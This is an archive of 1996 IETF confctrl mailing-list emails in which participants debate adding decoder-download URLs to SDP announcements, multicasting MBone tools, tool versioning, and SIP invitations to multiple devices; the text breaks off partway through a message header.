Received: by   ruin.informatik.uni-bremen.de (8.6.10/20.9.94cl) 
	  id   TAA22434
          Wed, 29 May 1996 19:35:15 +0200
Date: Wed, 29 May 1996 19:35:15 +0200
Message-Id: <199605291735.TAA22434@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp
In-Reply-To: <199605291555.RAA11010@www45.inria.fr>
References: <199605291555.RAA11010@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka writes:
> away: is it possible in sdp to transmit a URL that points to a place 
> where the binaries for decoding software for a stream can be fetched ?

Can you say "implosion"?

I'd rather multicast those tools...

Gruesse, Carsten

From majordom@ISI.EDU  Wed May 29 21:46:34 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18318>; Wed, 29 May 1996 10:47:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18312>; Wed, 29 May 1996 10:46:59 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA25023>; Wed, 29 May 1996 10:46:54 -0700
Received: by www45.inria.fr (8.6.13/8.6.12) id TAA11354; Wed, 29 May 1996 19:46:35 +0200
Message-Id: <199605291746.TAA11354@www45.inria.fr>
To: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Wed, 29 May 1996 19:35:15 +0200."
             <199605291735.TAA22434@ruin.informatik.uni-bremen.de> 
Date: Wed, 29 May 1996 19:46:34 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Philipp Hoschka writes:
>> away: is it possible in sdp to transmit a URL that points to a place 
>> where the binaries for decoding software for a stream can be fetched ?
>
>Can you say "implosion"?

I guess you mean that all people will go to the same server to get 
the binary when decoding the stream, and the server goes to its knees ?

So, if you don't put the URL into the announcement, there will be no
implosion, because people will not get the binary, since they don't
know where to find it ? :-)

Seriously, I don't think implosion is a problem that would be newly
introduced by this proposal - people have to get the tools anyway from
one or more servers, and they have to get the info where to find the
tools somewhere. And if the tool is already installed, there is of
course no need to get it again.

>I'd rather multicast those tools...

Sure, multicast everthing ... however, I'd rather use MBone bandwidth
for audio/video, at least at this point in time. And to get new MBone
users to install decoding tools.


-Philipp

From majordom@ISI.EDU  Wed May 29 21:58:29 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18778>; Wed, 29 May 1996 10:58:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18768>; Wed, 29 May 1996 10:58:54 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA25772>; Wed, 29 May 1996 10:58:46 -0700
Received: by   ruin.informatik.uni-bremen.de (8.6.10/20.9.94cl) 
	  id   TAA22482
          Wed, 29 May 1996 19:58:29 +0200
Date: Wed, 29 May 1996 19:58:29 +0200
Message-Id: <199605291758.TAA22482@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: <199605291746.TAA11354@www45.inria.fr>
References: <199605291735.TAA22434@ruin.informatik.uni-bremen.de>
	<199605291746.TAA11354@www45.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Seriously, I don't think implosion is a problem that would be newly
> introduced by this proposal

It will be amplified -- people will write conference management
(session control) tools that offer a GUI button "fetch tool", and
(other) people will press that button.

Until we have unique IDs on software releases,
> >I'd rather multicast those tools...

> Sure, multicast everthing ... however, I'd rather use MBone bandwidth
> for audio/video, at least at this point in time. And to get new MBone
> users to install decoding tools.

2 minutes at 64 kbit/s is a megabyte already.  I don't see a big
problem with multicasting the appropriate tools ahead of an event.
It would be easy to build tools to cache/prune those, *if* we manage
to think a minute about unique IDs (hash sums, whatever).

(Why am I saying all this?  We are ramping up our experimental netnews
multicasting right now.  It's easy to underestimate what you can do in
32 kbit/s of continuous bandwidth.  That's 345 MB per day, probably
more than the total size of all Mbone tools known to mankind today.)

Gruesse, Carsten

From majordom@ISI.EDU  Wed May 29 22:41:57 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20996>; Wed, 29 May 1996 11:42:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20989>; Wed, 29 May 1996 11:42:56 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA28355>; Wed, 29 May 1996 11:42:50 -0700
Received: by www45.inria.fr (8.6.13/8.6.12) id UAA11499; Wed, 29 May 1996 20:41:58 +0200
Message-Id: <199605291841.UAA11499@www45.inria.fr>
To: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Wed, 29 May 1996 19:58:29 +0200."
             <199605291758.TAA22482@ruin.informatik.uni-bremen.de> 
Date: Wed, 29 May 1996 20:41:57 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>> Seriously, I don't think implosion is a problem that would be newly
>> introduced by this proposal
>
>It will be amplified -- people will write conference management
>(session control) tools that offer a GUI button "fetch tool", and
>(other) people will press that button.
>
>Until we have unique IDs on software releases,

Well, a URL is quite unique, if you adopt a version numbering system.
In addition, caching is quite popular on the Web today, and could be
used for avoiding multiple downloads as well (i.e. do a conditional
get request when "fetch tool" is pressed).


>2 minutes at 64 kbit/s is a megabyte already.  I don't see a big
>problem with multicasting the appropriate tools ahead of an event.

Why ahead ? What about people learning about/joining the transmission 
when it's already running ? You would probably want to multicast the
tool during for the duration of the session, reducing the bandwidth/
quality available for audio/video.

>It would be easy to build tools to cache/prune those, *if* we manage
>to think a minute about unique IDs (hash sums, whatever).

A URL ? Plus caching can also solve the "implosion" problem.

>(Why am I saying all this?  We are ramping up our experimental netnews
>multicasting right now.  It's easy to underestimate what you can do in
>32 kbit/s of continuous bandwidth.  That's 345 MB per day, probably
>more than the total size of all Mbone tools known to mankind today.)

I agree. But if I have the choice between adding bandwidth for getting 
better audio/video quality for my transmission or transmitting
the decoder, I know where my preference would be. Plus you need
one channel per platform/binary - I count eight different platforms 
for vic and vat at the moment. Assume that you do the whole transmission
out of one location - that puts quite a heavy bandwidth demand at least on 
the links going out from the sender.

Overall, I think downloading the decoders via the Web/ftp is more practical.
The "hot spot" syndrome usually occurs with servers that maintain
pages that change a lot - Shuttle mission. Even though MBone tools
evolve at a rapid pace, I think it is safe to assume that *most*
of the participants already have the latest version of the decoder 
installed, and so no network traffic/implosion would occur. Multicast
might be used if there has been a recent update - it sounds like a 
cool idea, but a bit weird to "ordinary" Internet users.

-Philipp

 

From majordom@ISI.EDU  Wed May 29 23:26:15 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23667>; Wed, 29 May 1996 12:26:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23661>; Wed, 29 May 1996 12:26:29 -0700
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-23)
	id <AA00752>; Wed, 29 May 1996 12:26:22 -0700
Received: from kalkyl.cdt.luth.se (kalkyl.cdt.luth.se [130.240.193.31]) by basil.cdt.luth.se (8.7.5/8.6.12) with ESMTP id VAA00116; Wed, 29 May 1996 21:23:59 +0200 (MET DST)
Received: from kalkyl (localhost [127.0.0.1]) by kalkyl.cdt.luth.se (8.6.12/8.6.12) with ESMTP id VAA02767; Wed, 29 May 1996 21:26:15 +0200
Message-Id: <199605291926.VAA02767@kalkyl.cdt.luth.se>
X-Mailer: exmh version 1.6.7 5/3/96
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Wed, 29 May 1996 17:55:32 +0200."
             <199605291555.RAA11010@www45.inria.fr> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 29 May 1996 21:26:15 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> I jotted this on a piece of paper that I finally want to throw
> away: is it possible in sdp to transmit a URL that points to a place 
> where the binaries for decoding software for a stream can be fetched ?
> This info could be given at least for the "most popular" platforms.

It's a good idea but I don't think SDP the is the right place. 
Wouldn't that be a lot of wasted bandwidth? Although the tools change quite frequently lately they don't change _that_ often and the creator of a session don't always know what the latest version is.  

> Given the proliferation of coders/decoders, and
> the frequency with which information on the tool required for 
> decoding a stream turns up in the "information" field in recent
> announcements in sdr, it might be worthwhile to have a more
> formal field for this functionality. 

I really hope the evolution-speed of the tools will slow down soon so this "extra" information included in the announcements won't be necessary anymore.

> This might be extended to also 
> allow automatic downloading of the decoder, written e.g. in Java 
> (no, I didn't say that :-)).

Why not? :-) Well, that might not be so far away!! Is anyone besides working on this? (besides me that is :-) 

> Plus it would spare people to
> write and update html pages with titles like "where to get MBone tools
> for XXX" 

:-) 

As I said before it's a good idea and I'd like to suggest something like the following:
We allocate a special info-multicast-channel where clients can ask what the latest version is and every creator of a tool is responsible to have a server running (either a server on their own site or in collaboration with someone else) that is capable of answering the question. The traffic on this channel could be transmitted using RTP/SRM or some other reliable multicast transport protocol. 
???!!! :-)

/P





From majordom@ISI.EDU  Thu May 30 00:14:48 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25287>; Wed, 29 May 1996 13:14:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25281>; Wed, 29 May 1996 13:14:58 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA02989>; Wed, 29 May 1996 13:14:52 -0700
Received: by www45.inria.fr (8.6.13/8.6.12) id WAA11826; Wed, 29 May 1996 22:14:48 +0200
Message-Id: <199605292014.WAA11826@www45.inria.fr>
To: Peter Parnes <peppar@cdt.luth.se>
Cc: confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Wed, 29 May 1996 21:26:15 +0200."
             <199605291926.VAA02767@kalkyl.cdt.luth.se> 
Date: Wed, 29 May 1996 22:14:48 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>It's a good idea but I don't think SDP the is the right place.
Given that it describes a session, and that you need a decoder
for joining the session, why not ?
 
>Wouldn't that be a lot of wasted bandwidth? 

So now I have someone saying "you have the bandwidth, so just
multicast the binary", and another one saying "making the
sdp announcement bigger by adding URLs for the decoder wastes
too much bandwidth". Hmm ... note that the field can be made
optional, so that when you use a tool that "everybody has", just
leave out the information.

Actually, it might make the sdp announcemnt too big (>>512 byte),
leading to IP fragmentation and the related problems. But I'm not
sure that sdp does not already have this problem.

>Although the tools change quite
> frequently lately they don't change _that_ often and the creator of a sessi
>on don't always know what the latest version is. 

Yes, but he knows which tool he uses to encode the sesssion, and thus
the compatible decoder. This might actually be even more correct than
using "the latest version" - which might not work with some older version
that the sender uses. And if the sender doesn't know the latest version, 
how would the even less "MBone experienced" receiver know it ? 
(this is assuming that the MBone will be used for TV/radio like
broadcasts, where a number of "stations" provide content, and
many listeners with low tech knowledge "channel surf").

Plus, the information where to get the binary could be automagically 
added to the announcement when the sender sets up the session ...
requiring a linkage between binary and URL, not sure how to do this in
a practical way -  unless, of course, the binary was downloaded using 
the announcement from a previous session, where the current sender was
the receiver.

>I really hope the evolution-speed of the tools will slow down soon so this 
>"extra" information included in the announcements won't be necessary anymore
>.

Quite in contrast, I hope that the speed will pick up even more :-) -
in particular, better, more Internet-fit video coders are required.
Plus commercial adoption of MBone will almost certainly mean an increase 
in available binaries ...

On the other hand, the effect of giving the URL for the decoder
might lead to more proprietary solution - "the binary is the standard".
But if it gives MBone a boost, and diminishes the number of RealAudio
-unicast downloads, resulting in bandwidth saving - why not ?

>As I said before it's a good idea and I'd like to suggest something like th
e following:
>We allocate a special info-multicast-channel where clients can ask what the
>latest version 

Be careful with "latest version" - this might not be the version needed
to decode the stream !

>The traffic on this chan
>nel could be transmitted using RTP/SRM or some other reliable multicast tran
>sport protocol.

Why does it have to be reliable ? To me this sounds like an "announcement
channel" similar to what sdp addresses.

You would have to make the match between the announcement "this is a PCM
stream using the RTP protcol", your machine-type, and the binary-announcement -
yes, that should work, also for an announcment like "this is a RealerAudio
stream using version 2-14.4Kbit/s" - might require some "abuse"
of sd fields, but who cares ? :-)

But the proposal requires the cooperation of the tool authors to set
up these servers - the sender is more interested in having many
listeners, so he will put the info where to get the decoder into
the announcement. The tool author is mostly interested in selling servers -
decoders are free, so less incentive to run announcement servers.

Anyway, I seem to remember that sdp has gone down the IETF standards
track already, so it's probably too late for changes. As I said, 
I just cleaned up my desk :-)

-Philipp


 

From majordom@ISI.EDU  Wed May 29 23:48:14 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28331>; Wed, 29 May 1996 14:50:11 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28325>; Wed, 29 May 1996 14:50:09 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA24944>; Wed, 29 May 1996 14:49:06 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04946-0@bells.cs.ucl.ac.uk>; Wed, 29 May 1996 22:48:13 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Peter Parnes <peppar@cdt.luth.se>
Cc: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
Subject: Re: Idea for sdp
In-Reply-To: Your message of "Wed, 29 May 96 21:26:15 +0100." <199605291926.VAA02767@kalkyl.cdt.luth.se>
Date: Wed, 29 May 96 22:48:14 +0100
Message-Id: <19942.833406494@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Peter Parnes writes:

>As I said before it's a good idea and I'd like to suggest something like the f
>ollowing:
>We allocate a special info-multicast-channel where clients can ask what the la
>test version is and every creator of a tool is responsible to have a server ru
>nning (either a server on their own site or in collaboration with someone else
>) that is capable of answering the question. The traffic on this channel could
> be transmitted using RTP/SRM or some other reliable multicast transport proto
>col. 
>???!!! :-)

You have to be a careful here - you don't always want the latest
version of a tool - you want the version of the tool that is
appropriate for receiving this session, and the appropriate version
may depend on the group of users amongst other things.  It isn't
necessarily the same as the latest version for a number of reasons,
including the fact that tools don't always become available on all
platforms simultaneously.

Of course, platform independant formats such as java may help with
this, but it's likely to be a little while before I want my video
codecs in Java...

As for rate of tool development - I suspect we're just about to see an
explosion in the number of new experimental formats and (possibly)
tools...  


You certainly can't assume homogeneity of tool in a session - I
counted five different audio tools (not counting different releases)
listening to the shuttle audeo (vat, rat, QTC, precept, sudha's).  So
putting the URL of a *tool* in an *SDP* message seems broken to me.
What SDP conveys is a description of the media format/protocol.  So,
unless we have a single java codec for a format (which I won't rule
out, but certainly don't want to assume), what do I put as a URL for
the format?  Surely this is dependant on the tool I wish to run (which
may be different at each host), and, on each host, the tool I wish to
run is dependant on the format.  Hmmm - think I just went in a circle
there...

It seems to be that what I want is a way of obtaining a codec list for
each version of each tool.  Assume I have multiple tools available at
each host, and multiple codecs on each tool.  Possibly codecs are
downloadable without changing tool version, but that doesn't really
change anything in the decisions a session directory has to make - I
think that's up to the tool to perform - such downloads.  Again, what
the session directory requires is a list of formats/protocols that
each tool-version can support.  This is what the sdr plugin mechanism
does.

This mapping information could be directly multicast.  The sdr plugin
format is getting close to such a format already, though currently it
lacks a tool version number field.  It could trivially be extended to
carry URLs for codecs or even the tools themselves - this was one of
the original motivations for going to this plugin mechanism, but I
have currently stopped short of automating tool download for obvious
reasons.

The sdr plugin format is described in the built-in help in sdr, though
it's not the format itself that's interesting, but rather the idea of
a declaration of formats/protocols supported.


Mark



From majordom@ISI.EDU  Thu May 30 11:34:13 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11897>; Thu, 30 May 1996 00:35:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11891>; Thu, 30 May 1996 00:35:26 -0700
Received: from piraya.electrum.kth.se by venera.isi.edu (5.65c/5.61+local-23)
	id <AA28434>; Thu, 30 May 1996 00:35:24 -0700
Received: from it.kth.se (katla.it.kth.se [130.237.215.106])
	by piraya.electrum.kth.se (8.7.3/8.7.3) with ESMTP
	id JAA10549;
	Thu, 30 May 1996 09:35:14 +0200 (MET DST)
Message-Id: <199605300735.JAA10549@piraya.electrum.kth.se>
X-Mailer: exmh version 1.6.2 7/18/95
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: Peter Parnes <peppar@cdt.luth.se>,
        Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
From: Magnus Danielson <magda@it.kth.se>
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Wed, 29 May 1996 22:48:14 BST."
             <19942.833406494@cs.ucl.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 30 May 1996 09:34:13 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> Peter Parnes writes:
> 
> >As I said before it's a good idea and I'd like to suggest something like the f
> >ollowing:
> >We allocate a special info-multicast-channel where clients can ask what the la
> >test version is and every creator of a tool is responsible to have a server ru
> >nning (either a server on their own site or in collaboration with someone else
> >) that is capable of answering the question. The traffic on this channel could
> > be transmitted using RTP/SRM or some other reliable multicast transport proto
> >col. 
> >???!!! :-)
> 
> You have to be a careful here - you don't always want the latest
> version of a tool - you want the version of the tool that is
> appropriate for receiving this session, and the appropriate version
> may depend on the group of users amongst other things.  It isn't
> necessarily the same as the latest version for a number of reasons,
> including the fact that tools don't always become available on all
> platforms simultaneously.

[Stuff deleted]

I agree that it should not be a part of SDR (or any other SD protocol implementation)
to download and install newer versions of tools as needed. This has among other things
possible functionality, stability, backward compability, security and disk usage (multiple
copies of a tool) problems connected to it.

But, it's still a neat idea to use multicast to slowly download software (and new
hardware :) to a box. However, this would preferably be a kind of mirroring of an file
archive rather than pure drop-in replacement. A way to get the file when new files are available, an interuptive rather than polling system. Some of the mentioned problems are
solvable by the way :)

Also consider what you could do with web caching systems if you let them use multicast
mirroring systems instead....

But now we are moveing away from the conference control topic that this list is supposed
to be dealing with :)

Magnus



From majordom@ISI.EDU  Thu May 30 11:56:39 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13631>; Thu, 30 May 1996 00:56:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13625>; Thu, 30 May 1996 00:56:43 -0700
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-23)
	id <AA28901>; Thu, 30 May 1996 00:56:42 -0700
Received: from kalkyl.cdt.luth.se (kalkyl.cdt.luth.se [130.240.193.31]) by basil.cdt.luth.se (8.7.5/8.6.12) with ESMTP id JAA05093; Thu, 30 May 1996 09:54:22 +0200 (MET DST)
Received: from kalkyl (localhost [127.0.0.1]) by kalkyl.cdt.luth.se (8.6.12/8.6.12) with ESMTP id JAA08838; Thu, 30 May 1996 09:56:39 +0200
Message-Id: <199605300756.JAA08838@kalkyl.cdt.luth.se>
X-Mailer: exmh version 1.6.7 5/3/96
To: Magnus Danielson <magda@it.kth.se>
Cc: Mark Handley <M.Handley@cs.ucl.ac.uk>,
        Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Thu, 30 May 1996 09:34:13 +0200."
             <199605300735.JAA10549@piraya.electrum.kth.se> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 30 May 1996 09:56:39 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> But now we are moving away from the conference control topic that this list is supposed
> to be dealing with :)

But I find the discussion very interesting and I just wanted to ask which m-list _is_ appropriate for this? rem-conf is more for conferencing and mbone is for more fundamental  mbone issues, or? Is it time for yet another one? 

/P





From majordom@ISI.EDU  Thu May 30 12:17:04 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18004>; Thu, 30 May 1996 03:17:49 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17997>; Thu, 30 May 1996 03:17:45 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA05703>; Thu, 30 May 1996 03:17:40 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10437-0@bells.cs.ucl.ac.uk>; Thu, 30 May 1996 11:17:10 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Peter Parnes <peppar@cdt.luth.se>
Cc: Magnus Danielson <magda@it.kth.se>,
        Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
Subject: Re: Idea for sdp
In-Reply-To: Your message of "Thu, 30 May 96 09:56:39 +0100." <199605300756.JAA08838@kalkyl.cdt.luth.se>
Date: Thu, 30 May 96 11:17:04 +0100
Message-Id: <21210.833451424@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>> But now we are moving away from the conference control topic that this list 
>is supposed
>> to be dealing with :)
>
>But I find the discussion very interesting and I just wanted to ask which m-li
>st _is_ appropriate for this? rem-conf is more for conferencing and mbone is f
>or more fundamental  mbone issues, or? Is it time for yet another one? 

My opinion, not necessarily that of my co-chairs:

If we're talking about config download, this is definitely the place.
If it's purely software download by multicast, this probably isn't the
place, and perhaps the wbone list is (w-bone@mrrl.lut.ac.uk).

Some discussion of these issues here won't do any harm, and they are
bordering on session control anyway.

Mark




From majordom@ISI.EDU  Thu May 30 19:07:39 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21294>; Thu, 30 May 1996 08:08:20 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21286>; Thu, 30 May 1996 08:08:18 -0700
Received: from piraya.electrum.kth.se by venera.isi.edu (5.65c/5.61+local-23)
	id <AA07506>; Thu, 30 May 1996 08:08:12 -0700
Received: from drum.it.kth.se (drum.it.kth.se [130.237.213.23])
	by piraya.electrum.kth.se (8.7.3/8.7.3) with ESMTP
	id RAA19978;
	Thu, 30 May 1996 17:07:40 +0200 (MET DST)
Message-Id: <199605301507.RAA19978@piraya.electrum.kth.se>
X-Mailer: exmh version 1.6.4 10/10/95
To: Peter Parnes <peppar@cdt.luth.se>
Cc: Magnus Danielson <magda@it.kth.se>, Mark Handley <M.Handley@cs.ucl.ac.uk>,
        Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>, confctrl@ISI.EDU
From: Magnus Danielson <magda@it.kth.se>
Subject: Re: Idea for sdp 
In-Reply-To: Your message of "Thu, 30 May 1996 09:56:39 MET DST."
             <199605300756.JAA08838@kalkyl.cdt.luth.se> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 30 May 1996 17:07:39 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> > But now we are moving away from the conference control topic that this list is supposed
> > to be dealing with :)
> 
> But I find the discussion very interesting and I just wanted to ask which
> m-list _is_ appropriate for this? rem-conf is more for conferencing and mbone
> is for more fundamental  mbone issues, or? Is it time for yet another one? 

Well, I do agree that it is interesting, and I do agree that there is no list
which really feel apropriate. I can add to the list of "almost" m-lists with
idmr and rtp. Maybe mbone is the closest one after all.

An separate IETF WG for Slow Speed Multicast Applications or something migth be
of interest.

Magnus


From majordom@ISI.EDU  Fri May 31 12:41:18 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18415>; Fri, 31 May 1996 13:38:53 -0700
Received: from metro.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18409>; Fri, 31 May 1996 13:38:45 -0700
Received: from maia.east.isi.edu by metro.isi.edu (5.65c/5.61+local-23)
	id <AA00579>; Fri, 31 May 1996 16:38:37 -0400
Message-Id: <199605312038.AA00579@metro.isi.edu>
To: casner@precept.com
Cc: rem-conf@es.net, confctrl@ISI.EDU
Subject: Second slot scheduled for AVT
Date: Fri, 31 May 1996 16:41:18 EDT
From: Allison Mankin <mankin@ISI.EDU>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi, Steve and AVT WG, and MMUSIC chairs and WG,

As a reminder, the IETF is asking that agendas be
posted well ahead of time, to give participants a
better change to prepare.

I have scheduled AVT into a slot that I had held in reserve
for Transport.  That's at 13:00 on Tuesday June 25.  So AVT has 
back-to-back times, (13:00 and 15:30), which are both in the same 
room, and both on MBONE.

If you (or MMUSIC) should need some more gathering
time (as opposed to bar BOFs), Friday morning
slots are still available, though there will be no MBONE
at all on Friday.


Allison 

Friendly Neighborhood Transport Area Director

From majordom@ISI.EDU  Tue Jun  4 06:03:50 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17791>; Tue, 4 Jun 1996 07:03:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17785>; Tue, 4 Jun 1996 07:03:57 -0700
Received: from seawind.bellcore.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA08422>; Tue, 4 Jun 1996 07:03:55 -0700
Received: (from huitema@localhost) by seawind.bellcore.com (8.6.9/8.6.10) id KAA08292 for confctrl@ISI.EDU; Tue, 4 Jun 1996 10:03:50 -0400
Date: Tue, 4 Jun 1996 10:03:50 -0400
From: huitema@bellcore.com (Christian Huitema)
Message-Id: <9606041003.ZM8290@seawind.bellcore.com>
In-Reply-To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
        "Re: Idea for sdp" (May 29, 10:14pm)
References: <199605292014.WAA11826@www45.inria.fr>
X-Mailer: Z-Mail (3.2.0 06sep94)
To: confctrl@ISI.EDU
Subject: Multimedia invitation
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The Session Invitation Protocol as described in
draft-ietf-mmusic-sip-00.ps
uses a <user>@<host> address to identify a user, and an SDP formatted
session description.

Session descriptions can encompass several medias. A typical invitation
may suggest simultaneous use of audio, video and data conferencing. But
I may well want to receive the video on my set-top-box enhanced TV, the
audio in my Internet-connected stereo and the data on my PC. I may easily
program my invitation agent to know that, but how is it supposed to
respond
to a SIP invitation ?  Multiple redirections? Don't tell me "local
forwarding". The TV and the PC may well not even be on the same cable...

-- 
Christian Huitema

From majordom@ISI.EDU  Tue Jun  4 20:20:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22137>; Tue, 4 Jun 1996 09:21:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22131>; Tue, 4 Jun 1996 09:21:54 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA14760>; Tue, 4 Jun 1996 09:21:36 -0700
Received: by   ruin.informatik.uni-bremen.de (8.6.10/20.9.94cl) 
	  id   SAA17007
          Tue, 4 Jun 1996 18:20:30 +0200
Date: Tue, 4 Jun 1996 18:20:30 +0200
Message-Id: <199606041620.SAA17007@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: huitema@bellcore.com (Christian Huitema)
Cc: confctrl@ISI.EDU
Subject: Re: Multimedia invitation
In-Reply-To: <9606041003.ZM8290@seawind.bellcore.com>
References: <199605292014.WAA11826@www45.inria.fr>
	<Philipp.Hoschka@sophia.inria.fr>
	<9606041003.ZM8290@seawind.bellcore.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Christian Huitema writes:
> But
> I may well want to receive the video on my set-top-box enhanced TV, the
> audio in my Internet-connected stereo and the data on my PC. 

I don't think people will want to use future conferencing systems
without some program that coordinates the media and their appearance
in the conference, i.e. a conference manager (or session controller,
if you want).  So, the proceedings relating to the invitation will
take place on the host that you use for that control application.
Your media can flow wherever they need to.  And yes, I'm assuming that
there is some way to communicate between your TV (set-top-box, if you
want), your stereo, and your PC.

Now, I don't know if we really understand how to apply SDP session
descriptions in a unicast situation (what happened to the changes we
envisioned for that in Los Angeles?).  Certainly, we need a way to
express different addresses for each media stream to each participant
here.

Gruesse, Carsten

From majordom@ISI.EDU  Tue Jun  4 18:33:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23273>; Tue, 4 Jun 1996 09:35:04 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23266>; Tue, 4 Jun 1996 09:35:02 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA16113>; Tue, 4 Jun 1996 09:34:52 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
